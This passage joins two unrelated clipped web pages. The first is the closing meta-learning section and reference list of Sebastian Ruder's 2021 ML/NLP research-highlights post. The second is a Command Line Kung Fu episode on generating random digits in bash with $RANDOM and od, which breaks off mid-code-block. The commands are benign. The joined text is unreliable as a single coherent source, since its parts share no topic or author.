are scaled up, ensuring data quality at scale becomes more challenging.

**What’s next?** We currently lack best practices and principled methods
regarding how to efficiently build datasets for different tasks, reliably
ensure data quality, etc. It is also still poorly understood how data
interacts with a model's learning and how the data shapes a model's biases.
For instance, training data filtering may have negative effects on a language
model's coverage of marginalized groups \[90:1\].

# 15\) Meta-learning

<img src='img/universal_template.png' width='700' height='133' />

The training and test setup of the universal template model. A model
consisting of shared convolutional weights and dataset-specific FiLM layers is
trained in a multi-task setting \(left\). FiLM parameter values for a test
episode are initialized based on a convex combination of the trained sets of
FiLM parameters, learned on the training data \(right\). They are then updated
using gradient descent on the support set, with a nearest-centroid classifier
as the output layer \(Triantafillou et al., 2021\).

**What happened?** Meta-learning and transfer learning, despite sharing the
common goal of few-shot learning, have been studied mostly in distinct
communitites. On a new benchmark \[108\], large-scale transfer learning
methods outperform meta-learning-based approaches. A promising direction is to
scale up meta-learning methods, which, combined with more memory-efficient
training methods, can improve the performance of meta-learning models on real-
world benchmarks \[109\]. Meta-learning methods can also be combined with
efficient adaptation methods such as FiLM layers \[110\] to adapt a general
model effectively to new datasets \[111\].

**Why is it important?** Meta-learning is an important paradigm but has fallen
short of yielding state-of-the-art results on standard benchmarks that are not
designed with meta-learning systems in mind. Bringing meta-learning and
transfer learning communities closer together may lead to more practical meta-
learnig methods that are useful in real-world applications.

**What’s next?** Meta-learning can be particularly useful when combined with
the large number of natural tasks available for massive multi-task learning.
Meta-learning can also help improve prompting by learning how to design or use
prompts based on the large number of available prompts.

## Citation

For attribution in academic contexts or books, please cite this work as:

[code]

    Sebastian Ruder, "ML and NLP Research Highlights of 2021". http://ruder.io/ml-highlights-2021/, 2022.
    
[/code]

BibTeX citation:

[code]

    @misc{ruder2022mlhighlights,
    author = {Ruder, Sebastian},
    title = {{ML and NLP Research Highlights of 2021}},
    year = {2022},
    howpublished = {url{http://ruder.io/ml-highlights-2021/}},
    }
    
[/code]

## Credits

Thanks to Eleni Triantafillou and Dani Yogatama for thoughts and suggestions.

* * *
  1. Bommasani, R., Hudson, D. A., Adeli, E., Altman, R., Arora, S., von Arx, S., … Liang, P. \(2021\). On the Opportunities and Risks of Foundation Models. http://arxiv.org/abs/2108.07258 ↩︎ ↩︎
  2. Dosovitskiy, A., Beyer, L., Kolesnikov, A., Weissenborn, D., Zhai, X., Unterthiner, T., … Houlsby, N. \(2021\). An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale. In Proceedings of ICLR 2021. ↩︎
  3. Zhai, X., Kolesnikov, A., Houlsby, N., & Beyer, L. \(2021\). Scaling Vision Transformers. http://arxiv.org/abs/2106.04560 ↩︎
  4. He, K., Chen, X., Xie, S., Li, Y., Dollár, P., & Girshick, R. \(2021\). Masked Autoencoders Are Scalable Vision Learners. http://arxiv.org/abs/2111.06377 ↩︎
  5. Goyal, P., Caron, M., Lefaudeux, B., Xu, M., Wang, P., Pai, V., … Bojanowski, P. \(2021\). Self-supervised Pretraining of Visual Features in the Wild. http://arxiv.org/abs/2103.01988 ↩︎
  6. Baevski, A., Zhou, H., Mohamed, A., & Auli, M. \(2020\). wav2vec 2.0: A framework for self-supervised learning of speech representations. Advances in Neural Information Processing Systems, 2020. ↩︎
  7. Chung, Y.-A., Zhang, Y., Han, W., Chiu, C.-C., Qin, J., Pang, R., & Wu, Y. \(2021\). W2v-BERT: Combining Contrastive Learning and Masked Language Modeling for Self-Supervised Speech Pre-Training. http://arxiv.org/abs/2108.06209 ↩︎
  8. Babu, A., Wang, C., Tjandra, A., Lakhotia, K., Xu, Q., Goyal, N., … Auli, M. \(2021\). XLS-R: Self-supervised Cross-lingual Speech Representation Learning at Scale. http://arxiv.org/abs/2111.09296 ↩︎
  9. Fu, T.-J., Li, L., Gan, Z., Lin, K., Wang, W. Y., Wang, L., & Liu, Z. \(2021\). VIOLET: End-to-End Video-Language Transformers with Masked Visual-token Modeling. http://arxiv.org/abs/2111.12681 ↩︎
  10. Bapna, A., Chung, Y., Wu, N., Gulati, A., Jia, Y., Clark, J. H., … Zhang, Y. \(2021\). SLAM: A Unified Encoder for Speech and Language Modeling via Speech-Text Joint Pre-Training. http://arxiv.org/abs/2110.10329 ↩︎
  11. Bugliarello, E., Cotterell, R., Okazaki, N., & Elliott, D. \(2021\). Multimodal pretraining unmasked: A meta-analysis and a unified framework of vision-and-language berts. Transactions of the Association for Computational Linguistics, 9, 978–994. https://doi.org/10.1162/tacl\_a\_00408 ↩︎
  12. Hendricks, L. A., Mellor, J., Schneider, R., Alayrac, J. B., & Nematzadeh, A. \(2021\). Decoupling the role of data, attention, and losses in multimodal transformers. Transactions of the Association for Computational Linguistics, 9, 570–585. https://doi.org/10.1162/tacl\_a\_00385 ↩︎
  13. Chen, L., Lu, K., Rajeswaran, A., Lee, K., Grover, A., Laskin, M., … Mordatch, I. \(2021\). Decision Transformer: Reinforcement Learning via Sequence Modeling. http://arxiv.org/abs/2106.01345 ↩︎
  14. Jumper, J., Evans, R., Pritzel, A., Green, T., Figurnov, M., Ronneberger, O., ... & Hassabis, D. \(2021\). Highly accurate protein structure prediction with AlphaFold. Nature, 596\(7873\), 583-589. ↩︎ ↩︎
  15. Abnar, S., Dehghani, M., Neyshabur, B., & Sedghi, H. \(2021\). Exploring the Limits of Large Scale Pre-training. http://arxiv.org/abs/2110.02095 ↩︎
  16. Tay, Y., Dehghani, M., Rao, J., Fedus, W., Abnar, S., Chung, H. W., … Metzler, D. \(2021\). Scale Efficiently: Insights from Pre-training and Fine-tuning Transformers. http://arxiv.org/abs/2109.10686 ↩︎
  17. Sanh, V., Webson, A., Raffel, C., Bach, S. H., Sutawika, L., Alyafeai, Z., … Rush, A. M. \(2021\). Multitask Prompted Training Enables Zero-Shot Task Generalization. http://arxiv.org/abs/2110.08207 ↩︎
  18. Wei, J., Bosma, M., Zhao, V. Y., Guu, K., Yu, A. W., Lester, B., … Le, Q. V. \(2021\). Finetuned Language Models Are Zero-Shot Learners. http://arxiv.org/abs/2109.01652 ↩︎ ↩︎
  19. Aribandi, V., Tay, Y., Schuster, T., Rao, J., Zheng, H. S., Mehta, S. V., … Metzler, D. \(2021\). ExT5: Towards Extreme Multi-Task Scaling for Transfer Learning. http://arxiv.org/abs/2111.10952 ↩︎
  20. Bansal, T., Gunasekaran, K., Wang, T., Munkhdalai, T., & McCallum, A. \(2021\). Diverse Distributions of Self-Supervised Tasks for Meta-Learning in NLP. In Proceedings of EMNLP 2021 \(pp. 5812–5824\). https://doi.org/10.18653/v1/2021.emnlp-main.469 ↩︎
  21. Min, S., Lewis, M., Zettlemoyer, L., & Hajishirzi, H. \(2021\). MetaICL: Learning to Learn In Context. http://arxiv.org/abs/2110.15943 ↩︎
  22. Vaswani, A., Shazeer, N., Parmar, N., Uszkoreit, J., Jones, L., Gomez, A. N., … Polosukhin, I. \(2017\). Attention Is All You Need. In Proceedings of NIPS 2017. ↩︎
  23. Jaegle, A., Gimeno, F., Brock, A., Zisserman, A., Vinyals, O., & Carreira, J. \(2021\). Perceiver: General Perception with Iterative Attention. In Proceedings of ICML 2021. http://arxiv.org/abs/2103.03206 ↩︎
  24. Jaegle, A., Borgeaud, S., Alayrac, J.-B., Doersch, C., Ionescu, C., Ding, D., … Carreira, J. \(2021\). Perceiver IO: A General Architecture for Structured Inputs & Outputs. http://arxiv.org/abs/2107.14795 ↩︎
  25. Tolstikhin, I., Houlsby, N., Kolesnikov, A., Beyer, L., Zhai, X., Unterthiner, T., … Dosovitskiy, A. \(2021\). MLP-Mixer: An all-MLP Architecture for Vision. http://arxiv.org/abs/2105.01601 ↩︎
  26. Liu, H., Dai, Z., So, D. R., & Le, Q. V. \(2021\). Pay Attention to MLPs, \(Mlm\). Retrieved from http://arxiv.org/abs/2105.08050 ↩︎
  27. Lee-Thorp, J., Ainslie, J., Eckstein, I., & Ontanon, S. \(2021\). FNet: Mixing Tokens with Fourier Transforms. http://arxiv.org/abs/2105.03824 ↩︎
  28. Tay, Y., Dehghani, M., Gupta, J., Bahri, D., Aribandi, V., Qin, Z., & Metzler, D. \(2021\). Are Pre-trained Convolutions Better than Pre-trained Transformers? In Proceedings of ACL 2021. Retrieved from http://arxiv.org/abs/2105.03322 ↩︎
  29. Clark, K., Luong, M.-T., Le, Q. V., & Manning, C. D. \(2020\). ELECTRA: Pre-training Text Encoders as Discriminators Rather Than Generators. In Proceedings of ICLR 2020. ↩︎
  30. He, P., Gao, J., & Chen, W. \(2021\). DeBERTaV3: Improving DeBERTa using ELECTRA-Style Pre-Training with Gradient-Disentangled Embedding Sharing. http://arxiv.org/abs/2111.09543 ↩︎
  31. Agarwal, R., Melnick, L., Frosst, N., Zhang, X., Lengerich, B., Caruana, R., & Hinton, G. \(2021\). Neural Additive Models: Interpretable Machine Learning with Neural Nets. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2004.13912 ↩︎
  32. Brown, T. B., Mann, B., Ryder, N., Subbiah, M., Kaplan, J., Dhariwal, P., … Amodei, D. \(2020\). Language Models are Few-Shot Learners. In Proceedings of NeurIPS 2020. http://arxiv.org/abs/2005.14165 ↩︎
  33. Schick, T., & Schütze, H. \(2021\). Exploiting cloze questions for few shot text classification and natural language inference. In Proceedings of EACL 2021 \(pp. 255–269\). ↩︎
  34. Schick, T., & Schütze, H. \(2021\). It’s Not Just Size That Matters: Small Language Models Are Also Few-Shot Learners. In Proceedings of NAACL 2021. http://arxiv.org/abs/2009.07118 ↩︎
  35. Tam, D., Menon, R. R., Bansal, M., Srivastava, S., & Raffel, C. \(2021\). Improving and Simplifying Pattern Exploiting Training. http://arxiv.org/abs/2103.11955 ↩︎
  36. Perez, E., Kiela, D., & Cho, K. \(2021\). True Few-Shot Learning with Language Models. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2105.11447 ↩︎
  37. Zheng, Y., Zhou, J., Qian, Y., Ding, M., Li, J., Salakhutdinov, R., … Yang, Z. \(2021\). FewNLU: Benchmarking State-of-the-Art Methods for Few-Shot Natural Language Understanding. http://arxiv.org/abs/2109.12742 ↩︎
  38. Liu, P., Yuan, W., Fu, J., Jiang, Z., Hayashi, H., & Neubig, G. \(2021\). Pre-train, Prompt, and Predict: A Systematic Survey of Prompting Methods in Natural Language Processing. http://arxiv.org/abs/2107.13586 ↩︎
  39. Scao, T. Le, & Rush, A. M. \(2021\). How Many Data Points is a Prompt Worth? In Proceedings of NAACL 2021. http://arxiv.org/abs/2103.08493 ↩︎
  40. Ratner, A., De Sa, C., Wu, S., Selsam, D., & Ré, C. \(2016\). Data Programming: Creating Large Training Sets, Quickly. In Advances in Neural Information Processing Systems 29 \(NIPS 2016\). http://arxiv.org/abs/1605.07723 ↩︎
  41. Mishra, S., Khashabi, D., Baral, C., & Hajishirzi, H. \(2021\). Cross-Task Generalization via Natural Language Crowdsourcing Instructions. http://arxiv.org/abs/2104.08773 ↩︎
  42. Wiegreffe, S., & Marasović, A. \(2021\). Teach Me to Explain: A Review of Datasets for Explainable Natural Language Processing. In 35th Conference on Neural Information Processing Systems \(NeurIPS 2021\) Track on Datasets and Benchmarks. http://arxiv.org/abs/2102.12060 ↩︎
  43. Ma, X., Kong, X., Wang, S., Zhou, C., May, J., Ma, H., & Zettlemoyer, L. \(2021\). Luna: Linear Unified Nested Attention. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2106.01540 ↩︎
  44. Peng, H., Pappas, N., Yogatama, D., Schwartz, R., Smith, N. A., & Lingpeng Kong. \(2021\). Random Feature Attention. In Proceedings of ICLR 2021. ↩︎
  45. Tay, Y., Dehghani, M., Bahri, D., & Metzler, D. \(2020\). Efficient Transformers: A Survey. ArXiv Preprint ArXiv:2009.06732. Retrieved from http://arxiv.org/abs/2009.06732 ↩︎
  46. Lester, B., Al-Rfou, R., & Constant, N. \(2021\). The Power of Scale for Parameter-Efficient Prompt Tuning. In Proceedings of EMNLP 2021. http://arxiv.org/abs/2104.08691 ↩︎
  47. Liu, X., Zheng, Y., Du, Z., Ding, M., Qian, Y., Yang, Z., & Tang, J. \(2021\). GPT Understands, Too. http://arxiv.org/abs/2103.10385 ↩︎
  48. Mao, Y., Mathias, L., Hou, R., Almahairi, A., Ma, H., Han, J., … Khabsa, M. \(2021\). UniPELT: A Unified Framework for Parameter-Efficient Language Model Tuning. http://arxiv.org/abs/2110.07577 ↩︎
  49. He, J., Zhou, C., Ma, X., Berg-Kirkpatrick, T., & Neubig, G. \(2021\). Towards a Unified View of Parameter-Efficient Transfer Learning. http://arxiv.org/abs/2110.04366 ↩︎
  50. Mahabadi, R. K., Henderson, J., & Ruder, S. \(2021\). Compacter: Efficient Low-Rank Hypercomplex Adapter Layers. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2106.04647 ↩︎
  51. Tsimpoukelli, M., Menick, J., Cabi, S., Eslami, S. M. A., Vinyals, O., & Hill, F. \(2021\). Multimodal Few-Shot Learning with Frozen Language Models. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2106.13884 ↩︎
  52. Pfeiffer, J., Vulić, I., Gurevych, I., & Ruder, S. \(2020\). MAD-X: An Adapter-based Framework for Multi-task Cross-lingual Transfer. In Proceedings of EMNLP 2020. ↩︎
  53. Eichenberg, C., Black, S., Weinbach, S., Parcalabescu, L., & Frank, A. \(2021\). MAGMA--Multimodal Augmentation of Generative Models through Adapter-based Finetuning. https://arxiv.org/abs/2112.05253 ↩︎
  54. Dettmers, T., Lewis, M., Shleifer, S., & Zettlemoyer, L. \(2021\). 8-bit Optimizers via Block-wise Quantization. http://arxiv.org/abs/2110.02861 ↩︎
  55. Koch, B., Denton, E., Hanna, A., & Foster, J. G. \(2021\). Reduced, Reused and Recycled: The Life of a Dataset in Machine Learning Research. In 35th Conference on Neural Information Processing Systems \(NeurIPS 2021\) Track on Datasets and Benchmarks. http://arxiv.org/abs/2112.01716 ↩︎
  56. Kiela, D., Bartolo, M., Nie, Y., Kaushik, D., Geiger, A., Wu, Z., … Williams, A. \(2021\). Dynabench: Rethinking Benchmarking in NLP. In Proceedings of NAACL 2021 \(pp. 4110–4124\). https://doi.org/10.18653/v1/2021.naacl-main.324 ↩︎
  57. Liu, P., Fu, J., Xiao, Y., Yuan, W., Chang, S., Dai, J., … Neubig, G. \(2021\). ExplainaBoard: An Explainable Leaderboard for NLP. In Proceedings of ACL 2021: System demonstrations \(pp. 280–289\). ↩︎
  58. Ma, Z., Ethayarajh, K., Thrush, T., Jain, S., Wu, L., Jia, R., … Kiela, D. \(2021\). Dynaboard: An Evaluation-As-A-Service Platform for Holistic Next-Generation Benchmarking. http://arxiv.org/abs/2106.06052 ↩︎
  59. Bragg, J., Cohan, A., Lo, K., & Beltagy, I. \(2021\). FLEX: Unifying Evaluation for Few-Shot NLP. In Proceedings of NeurIPS 2021. Retrieved from http://arxiv.org/abs/2107.07170 ↩︎
  60. Ye, Q., Lin, B. Y., & Ren, X. \(2021\). CrossFit: A Few-shot Learning Challenge for Cross-task Generalization in NLP. In Proceedings of EMNLP 2021. ↩︎
  61. Koh, P. W., Sagawa, S., Marklund, H., Xie, S. M., Zhang, M., Balsubramani, A., … Liang, P. \(2021\). WILDS: A Benchmark of in-the-Wild Distribution Shifts. In Proceedings of ICML 2021. http://arxiv.org/abs/2012.07421 ↩︎
  62. Yang, S., Chi, P.-H., Chuang, Y.-S., Lai, C.-I. J., Lakhotia, K., Lin, Y. Y., … Lee, H. \(2021\). SUPERB: Speech processing Universal PERformance Benchmark. In Proceedings of Interspeech 2021. http://arxiv.org/abs/2105.01051 ↩︎
  63. Cahyawijaya, S., Winata, G. I., Wilie, B., Vincentio, K., Li, X., Kuncoro, A., … Fung, P. \(2021\). IndoNLG: Benchmark and Resources for Evaluating Indonesian Natural Language Generation. In Proceedings of EMNLP 2021 \(pp. 8875–8898\). https://doi.org/10.18653/v1/2021.emnlp-main.699 ↩︎
  64. Dumitrescu, S., Rebeja, P., Rosia, L., Marchidan, G., Yogatama, D., Avram, A., … Morogan, L. \(2021\). LiRo: Benchmark and leaderboard for Romanian language tasks. In 35th Conference on Neural Information Processing Systems \(NeurIPS 2021\) Track on Datasets and Benchmarks. ↩︎
  65. Tamkin, A., Liu, V., Lu, R., Fein, D., Schultz, C., & Goodman, N. \(2021\). DABS: A Domain-Agnostic Benchmark for Self-Supervised Learning. In 35th Conference on Neural Information Processing Systems \(NeurIPS 2021\) Track on Datasets and Benchmarks. http://arxiv.org/abs/2111.12062 ↩︎
  66. Ruder, S., Constant, N., Botha, J., Siddhant, A., Firat, O., Fu, J., … Johnson, M. \(2021\). XTREME-R: Towards More Challenging and Nuanced Multilingual Evaluation. In Proceedings of EMNLP 2021. http://arxiv.org/abs/2104.07412 ↩︎
  67. Marie, B., Fujita, A., & Rubino, R. \(2021\). Scientific Credibility of Machine Translation Research: A Meta-Evaluation of 769 Papers. In Proceedings of ACL 2021 \(pp. 7297–7306\). https://doi.org/10.18653/v1/2021.acl-long.566 ↩︎
  68. Gehrmann, S., Adewumi, T., Aggarwal, K., Ammanamanchi, P. S., Anuoluwapo, A., Bosselut, A., … Zhou, J. \(2021\). The GEM Benchmark: Natural Language Generation, its Evaluation and Metrics. http://arxiv.org/abs/2102.01672 ↩︎
  69. Kasai, J., Sakaguchi, K., Bras, R. Le, Dunagan, L., Morrison, J., Fabbri, A. R., … Smith, N. A. \(2021\). Bidimensional Leaderboards: Generate and Evaluate Language Hand in Hand. http://arxiv.org/abs/2112.04139 ↩︎
  70. Ramesh, A., Pavlov, M., Goh, G., Gray, S., Voss, C., Radford, A., … Sutskever, I. \(2021\). Zero-Shot Text-to-Image Generation. https://arxiv.org/abs/2102.12092 ↩︎
  71. Esser, P., Rombach, R., & Ommer, B. \(2020\). Taming Transformers for High-Resolution Image Synthesis. https://arxiv.org/abs/2012.09841 ↩︎
  72. Radford, A., Kim, J. W., Hallacy, C., Ramesh, A., Goh, G., Agarwal, S., … Sutskever, I. \(2021\). Learning Transferable Visual Models From Natural Language Supervision. http://arxiv.org/abs/2103.00020 ↩︎
  73. Dhariwal, P., & Nichol, A. \(2021\). Diffusion Models Beat GANs on Image Synthesis. https://arxiv.org/abs/2105.05233 ↩︎
  74. Nichol, A., Dhariwal, P., Ramesh, A., Shyam, P., Mishkin, P., McGrew, B., … Chen, M. \(2021\). GLIDE: Towards Photorealistic Image Generation and Editing with Text-Guided Diffusion Models. http://arxiv.org/abs/2112.10741 ↩︎
  75. Ravuri, S., Lenc, K., Willson, M., Kangin, D., Lam, R., Mirowski, P., … & Mohamed, S. \(2021\). Skillful Precipitation Nowcasting using Deep Generative Models of Radar. Nature, 597. https://www.nature.com/articles/s41586-021-03854-z ↩︎
  76. Espeholt, L., Agrawal, S., Sønderby, C., Kumar, M., Heek, J., Bromberg, C., … Kalchbrenner, N. \(2021\). Skillful Twelve Hour Precipitation Forecasts using Large Context Neural Networks, 1–34. Retrieved from http://arxiv.org/abs/2111.07470 ↩︎
  77. Davies, A., Veličković, P., Buesing, L., Blackwell, S., Zheng, D., Tomašev, N., … Kohli, P. \(2021\). Advancing mathematics by guiding human intuition with AI. Nature, 600\(7887\), 70–74. https://doi.org/10.1038/s41586-021-04086-x ↩︎
  78. Charton, F., Hayat, A., & Lample, G. \(2021\). Deep Differential System Stability Learning advanced computations from examples. In Proceedings of ICLR 2021. ↩︎
  79. Chen, M., Tworek, J., Jun, H., Yuan, Q., Ponde, H., Kaplan, J., … Zaremba, W. \(2021\). Evaluating Large Language Models Trained on Code. Retrieved from http://arxiv.org/abs/2107.03374 ↩︎
  80. Roziere, B., Marc, M. L., & Guillaume, S. \(2021\). DOBF: A Deobfuscation Pre-Training Objective for Programming Languages. In Proceedings of NeurIPS 2021. ↩︎
  81. Jain, P., Jain, A., Zhang, T., Abbeel, P., Gonzalez, J. E., & Stoica, I. \(2021\). Contrastive Code Representation Learning. In Proceedings of EMNLP 2021. ↩︎
  82. Elnaggar, A., Gibbs, T., & Matthes, F. \(2021\). CodeTrans: Towards Cracking the Language of Silicone’s Code Through Self-Supervised Deep Learning and High Performance Computing. ↩︎
  83. Austin, J., Odena, A., Nye, M., Bosma, M., Michalewski, H., Dohan, D., … Sutton, C. \(2021\). Program Synthesis with Large Language Models, 1–34. http://arxiv.org/abs/2108.07732 ↩︎
  84. Nye, M., Andreassen, A. J., Gur-Ari, G., Michalewski, H., Austin, J., Bieber, D., … Odena, A. \(2021\). Show Your Work: Scratchpads for Intermediate Computation with Language Models, 1–16. http://arxiv.org/abs/2112.00114 ↩︎
  85. Xu, F. F., Vasilescu, B., & Neubig, G. \(2021\). In-IDE Code Generation from Natural Language: Promise and Challenges. ACM Transactions on Software Engineering and Methodology. ↩︎
  86. Bender, E., Gebru, T., McMillan-Major, A., & Shmitchell, S. \(2021\). On the dangers of stochastic parrots: can language models be too big? In FAccT 2021 - Proceedings of the 2021 ACM Conference on Fairness, Accountability, and Transparency. Association for Computing Machinery. https://doi.org/10.1145/3442188.3445922 ↩︎
  87. Weidinger, L., Mellor, J., Rauh, M., Griffin, C., Uesato, J., Huang, P.-S., … Gabriel, I. \(2021\). Ethical and social risks of harm from Language Models. ↩︎
  88. Liu, R., Jia, C., Wei, J., Xu, G., Wang, L., & Vosoughi, S. \(2021\). Mitigating Political Bias in Language Models Through Reinforced Calibration. In Proceedings of AAAI 2021. ↩︎
  89. Ahn, J., & Oh, A. \(2021\). Mitigating Language-Dependent Ethnic Bias in BERT. In Proceedings of EMNLP 2021. https://doi.org/10.18653/v1/2021.emnlp-main.42 ↩︎
  90. Welbl, J., Glaese, A., Uesato, J., Dathathri, S., Mellor, J., Hendricks, L. A., … Huang, P.-S. \(2021\). Challenges in Detoxifying Language Models. In Findings of EMNLP 2021 \(pp. 2447–2469\). http://arxiv.org/abs/2109.07445 ↩︎ ↩︎
  91. Borgeaud, S., Mensch, A., Hoffmann, J., Cai, T., Rutherford, E., Millican, K., … Sifre, L. \(2021\). Improving language models by retrieving from trillions of tokens. http://arxiv.org/abs/2112.04426 ↩︎
  92. Komeili, M., Shuster, K., & Weston, J. \(2021\). Internet-Augmented Dialogue Generation. ↩︎
  93. Nakano, R., Hilton, J., Balaji, S., Wu, J., Ouyang, L., Kim, C., … Schulman, J. \(2021\). WebGPT: Browser-assisted question-answering with human feedback. http://arxiv.org/abs/2112.09332 ↩︎
  94. Sachan, D. S., Reddy, S., Hamilton, W., Dyer, C., & Yogatama, D. \(2021\). End-to-End Training of Multi-Document Reader and Retriever for Open-Domain Question Answering. In Proceedings of NeurIPS 2021. http://arxiv.org/abs/2106.05346 ↩︎
  95. Yogatama, D., D’autume, C. de M., & Kong, L. \(2021\). Adaptive semiparametric language models. Transactions of the Association for Computational Linguistics, 9, 362–373. https://doi.org/10.1162/tacl\_a\_00371 ↩︎
  96. Khandelwal, U., Levy, O., Jurafsky, D., Zettlemoyer, L., & Lewis, M. \(2020\). Generalization through Memorization: Nearest Neighbor Language Models. In Proceedings of ICLR 2020. http://arxiv.org/abs/1911.00172 ↩︎
  97. Xue, L., Barua, A., Constant, N., Al-Rfou, R., Narang, S., Kale, M., … Raffel, C. \(2021\). ByT5: Towards a token-free future with pre-trained byte-to-byte models. ArXiv Preprint ArXiv:2105.13626. ttp://arxiv.org/abs/2105.13626 ↩︎
  98. Clark, J. H., Garrette, D., Turc, I., & Wieting, J. \(2021\). Canine: Pre-training an Efficient Tokenization-Free Encoder for Language Representation. https://arxiv.org/abs/2103.06874 ↩︎
  99. Tay, Y., Tran, V. Q., Ruder, S., Gupta, J., Chung, H. W., Bahri, D., … Metzler, D. \(2021\). Charformer: Fast Character Transformers via Gradient-based Subword Tokenization. http://arxiv.org/abs/2106.12672 ↩︎
  100. Lazaridou, A., Kuncoro, A., & Gribovskaya, E. \(2021\). Mind the Gap : Assessing Temporal Generalization in Neural Language Models. In Proceedings of NeurIPS 2021. ↩︎
  101. Röttger, P., & Pierrehumbert, J. B. \(2021\). Temporal Adaptation of BERT and Performance on Downstream Document Classification: Insights from Social Media. In Findings of EMNLP 2021 \(pp. 2400–2412\). https://doi.org/10.18653/v1/2021.findings-emnlp.206 ↩︎
  102. Dhingra, B., Cole, J. R., Eisenschlos, J. M., Gillick, D., Eisenstein, J., & Cohen, W. W. \(2021\). Time-Aware Language Models as Temporal Knowledge Bases. http://arxiv.org/abs/2106.15110 ↩︎
  103. Zhang, M. J. Q., & Choi, E. \(2021\). SituatedQA: Incorporating Extra-Linguistic Contexts into QA. In Proceedings of EMNLP 2021. https://doi.org/10.18653/v1/2021.emnlp-main.586 ↩︎
  104. Birhane, A., Prabhu, V. U., & Kahembwe, E. \(2021\). Multimodal datasets: misogyny, pornography, and malignant stereotypes. http://arxiv.org/abs/2110.01963 ↩︎
  105. Dodge, J., Sap, M., Marasović, A., Agnew, W., Ilharco, G., Groeneveld, D., & Gardner, M. \(2021\). Documenting the English Colossal Clean Crawled Corpus. In Proceedings of EMNLP 2021. ↩︎
  106. Kreutzer, J., Caswell, I., Wang, L., Wahab, A., Esch, D. van, Ulzii-Orshikh, N., … Adeyemi, M. \(2021\). Quality at a Glance: An Audit of Web-Crawled Multilingual Datasets. In Transactions of the ACL 2021. ↩︎
  107. Liu, F., Bugliarello, E., Ponti, E. M., Reddy, S., Collier, N., & Elliott, D. \(2021\). Visually Grounded Reasoning across Languages and Cultures. In Proceedings of EMNLP 2021. https://arxiv.org/abs/2109.13238 ↩︎
  108. Dumoulin, V., Houlsby, N., Evci, U., Zhai, X., Goroshin, R., Gelly, S., & Larochelle, H. \(2021\). Comparing Transfer and Meta Learning Approaches on a Unified Few-Shot Classification Benchmark. In 35th Conference on Neural Information Processing Systems \(NeurIPS 2021\) Track on Datasets and Benchmarks. http://arxiv.org/abs/2104.02638 ↩︎
  109. Bronskill, J., Massiceti, D., Patacchiola, M., Hofmann, K., Nowozin, S., & Turner, R. E. \(2021\). Memory Efficient Meta-Learning with Large Images, \(NeurIPS\). http://arxiv.org/abs/2107.01105 ↩︎
  110. Perez, E., Strub, F., De Vries, H., Dumoulin, V., & Courville, A. \(2018\). FiLM: Visual reasoning with a general conditioning layer. In 32nd AAAI Conference on Artificial Intelligence, AAAI 2018 \(pp. 3942–3951\). ↩︎
  111. Triantafillou, E., Larochelle, H., Zemel, R., & Dumoulin, V. \(2021\). Learning a Universal Template for Few-shot Dataset Generalization. In Proceedings of ICML 2021. http://arxiv.org/abs/2105.07029 ↩︎

# Command Line Kung Fu: Episode \#58: That's Pretty Random

**Created:**| _11/24/2009 7:25:24 PM_  
---|---  
**Updated:**| _11/24/2009 7:25:29 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#58: That's Pretty Random

Hal has too much time on his hands:  
  
So there I was trolling the CommandLineFu blog looking for an idea for this
week's Episode, and I came across this posting by user "curiousstranger" with
an idea for generating a random 8-digit number:  
  

[code]

    jot -s '' -r -n 8 0 9
    
[/code]

  
As useful as the jot command is in this situation, it's not a common command
on most Unix systems I encounter. So that got me thinking how I'd answer this
question within the rules of our blog.  
  
My first notion was to just use the special $RANDOM variable to spit out an
8-digit number. But $RANDOM only produces values up to 32K. I could use
$RANDOM in a loop to produce the individual digits I need, just like
curiousstranger does with the jot command:  
  

[code]

    for ((i=0; $i<8; i++)); do echo -n $(( $RANDOM % 10 )); done
    
[/code]

  
Actually the fact that the leading digit might be zero and the lack of a
trailing newline are bugging me, so let's change that to:  
  

[code]

    echo -n $(( $RANDOM % 9 + 1)); \  
    for ((i=0; $i<7; i++)); do echo -n $(( $RANDOM % 10 )); done; \  
    echo
    
[/code]

  
  
Here's a different loop idea that uses repeated multiplication so that we do
fewer iterations:  
  

[code]

    for (( i=1; i<10000000; i=$(($i * $RANDOM)) )); do :; done; \  
    echo $(( $i % 100000000 ))
    
[/code]

  
Notice that we're multiplying a series of $RANDOM values together until we get
at least an 8-digit value. Then we cut off the first 8 digits of the number we
generated.  
  
But these loops are all pretty ugly, and anyway I was feeling bad about
hitting Ed with the "no loops" requirement back inEpisode \#56. So I started
thinking about ways that I could accomplish this without a loop, and also
about ways that I could generate sequences of any arbitrary length.  
  
Now most modern Unix systems have a /dev/urandom device for generating pseudo-
random data, but I needed to figure out a way to convert the binary data
coming out of /dev/urandom into decimal numbers. And then it hit me: the "od"
command. "od" stands for "octal dump", but it's really a very flexible binary
data dumper that can output a wide variety of formats:  
  

[code]

    $ **od -A n -N 16 -t u8 /dev/urandom**  
     5073535022611155147 14542989994974172695
    
[/code]

  
Here I'm reading the first 16 bytes \("-N 16"\) of data from /dev/urandom and
formatting the output as 8-byte unsigned integers \("-t u8"\). The "-A n" flag
suppresses the byte offset markers that would normally appear in the first
column.  
  
Neat\! All I need to do is remove the whitespace and chop off the first 8
digits, right?  
  

[code]

    $ **od -A n -N 16 -t u8 /dev/urandom | sed 's/ //g' | cut -c1-8**  
     13065760
    
[/code]

  
Experimenting with this command a little bit, it looked to me like the
distribution of random numbers wasn't really even: there seemed to be an awful
lot of numbers starting with 1 coming up. Since the maximum 64-bit unsigned
value is 18,446,744,073,709,551,615 this isn't too surprising-- roughly half
the random numbers we generate are going to start with 1. You can confirm this
with a little loop:  
  

[code]

    $ **for ((i=0; $i <1000; i++)); do \  
    od -A n -N 16 -t u8 /dev/urandom | sed 's/ //g' | cut -c1; \  
    done | sort | uniq -c**  
    512 1  
    65 2  
    61 3  
    53 4  
    63 5  
    62 6  
    64 7  
    61 8  
    59 9
    
[/code]

  
Here I'm using od to generate the random digit strings but only pulling off the first digit. I do that 1000 times in a loop and then use "sort | uniq -c" to count the number of times each digit appears in the output. As you can see, the number 1 does indeed account for roughly half the output.  
  
To fix this problem, I decided to simply throw away the first digit of each
number. Since I still don't want any leading zeroes in my output, I'm also
going to throw away any zeroes after the first digit. This just means a
slightly more complicated sed expression:  
  

[code]

